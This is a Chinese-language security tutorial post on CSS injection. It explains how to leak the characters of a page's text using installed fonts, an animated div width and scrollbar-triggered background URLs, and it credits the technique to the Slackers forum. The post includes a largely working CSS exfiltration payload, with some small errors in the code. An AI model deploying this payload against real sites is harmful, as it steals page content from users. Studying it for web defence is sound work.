CSS 相關的攻擊 (下篇之 4)

15th鐵人賽

kika

2023-09-27 20:38:23

255 瀏覽

分享至

CSS 相關的攻擊(下篇之 4)

文字節點洩漏 (二)

使用預設字體洩漏字元集（不需要外部資源）

使用瀏覽器中安裝的預設字型可以洩漏文字節點中使用的字元集：不需要外部或自訂字型。

技巧解說

關鍵是使用動畫將 div 寬度從 0 增長到文字末尾，每次增長一個字元的大小。
透過這樣做，我們可以將文字拆分成 "前綴"(第一行) 和 "後綴"。
每次 div 增加其寬度時，新的字元都會從“後綴”移動到“前綴” 。

範例:

A
BCD

AB
CD

ABC
D

ABCD

攻擊方式說明:

當新字元到達第一行時，將使用 unicode-range 技巧來偵測前綴中的新字元。此檢測是將字體更改為 Comic Sans，其高度更高，因此會觸發垂直滾動條（洩漏字元值）。這樣我們就可以一次洩漏每個不同的字元。我們可以偵測某個字元是否重複，但不能偵測哪個字元重複。

不想載入外部字體的替換方式:

透過預先安裝的字體做替換 - 使用 Comic Sans，剛好 Comic Sans 也是高度比較高的字體:
當找到字元時，它會被賦予預先安裝的 Comic Sans 字體，這會使字元變大並觸發滾動條，從而洩漏找到的字元。

範例:

@font-face{
    font-family:has_A; src:local('Comic Sans MS'); unicode-range:U+41; font-style:monospace;
}
@font-face{
    font-family:has_B; src:local('Comic Sans MS'); unicode-range:U+42; font-style:monospace;
}
// C, D, E..等等到 9

div.leak {
    overflow-y: auto; /* 設此值以讓超長的高度可以觸發 vertical scrollar */
    overflow-x: hidden; /* remove false positives */
    height: 40px; /* comic sans 字體 超過此高度 */
    font-size: 0px; /* 讓後綴不可見 */
    letter-spacing: 0px; /* separation */
    word-break: break-all; /* 小的寬度可以將 words 分開成行 */
    font-family: rest; /* 預設值 */
    background: grey; /* 預設值 */
    width: 0px; /* 初始 value */
    animation: loop step-end 200s 0s, trychardemo step-end 2s 0s; /* 動畫: trychardemo 持續時間必須是循環持續時間的 1/100 */
    animation-iteration-count: 1, infinite; /* 單寬度迭代，每次寬度增加（或無限）重複一次 trychardemo */
}

div.leak::first-line{
    font-size: 30px; /* 前綴在第一行可見 */
    text-transform: uppercase; /* 僅大寫字母洩漏 */
}

/* iterate 所有的 chars */
@keyframes trychardemo {
    0% { font-family: rest; } /* 寬度變更就 delay */
    5% { font-family: has_A, rest; --leak: url(?a); }
    6% { font-family: rest; }
    10% { font-family: has_B, rest; --leak: url(?b); }
    11% { font-family: rest; }
    15% { font-family: has_C, rest; --leak: url(?c); }
    16% { font-family: rest }
    // 繼續依此類推
    95% { font-family: has_S, rest; --leak: url(?s); }
    96% { font-family: rest; }
}

/* 逐個字符增加寬度，即將新字符添加到前綴 */
@keyframes loop {
    0% { width: 0px }
    1% { width: 20px }
    2% { width: 40px }
    3% { width: 60px }
    4% { width: 80px }
    4% { width: 100px }
    5% { width: 120px }
    6% { width: 140px }
    7% { width: 0px }
}

div::-webkit-scrollbar {
    background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
    background: blue var(--leak);
}

攻擊技巧揭露自 "Slackers": https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/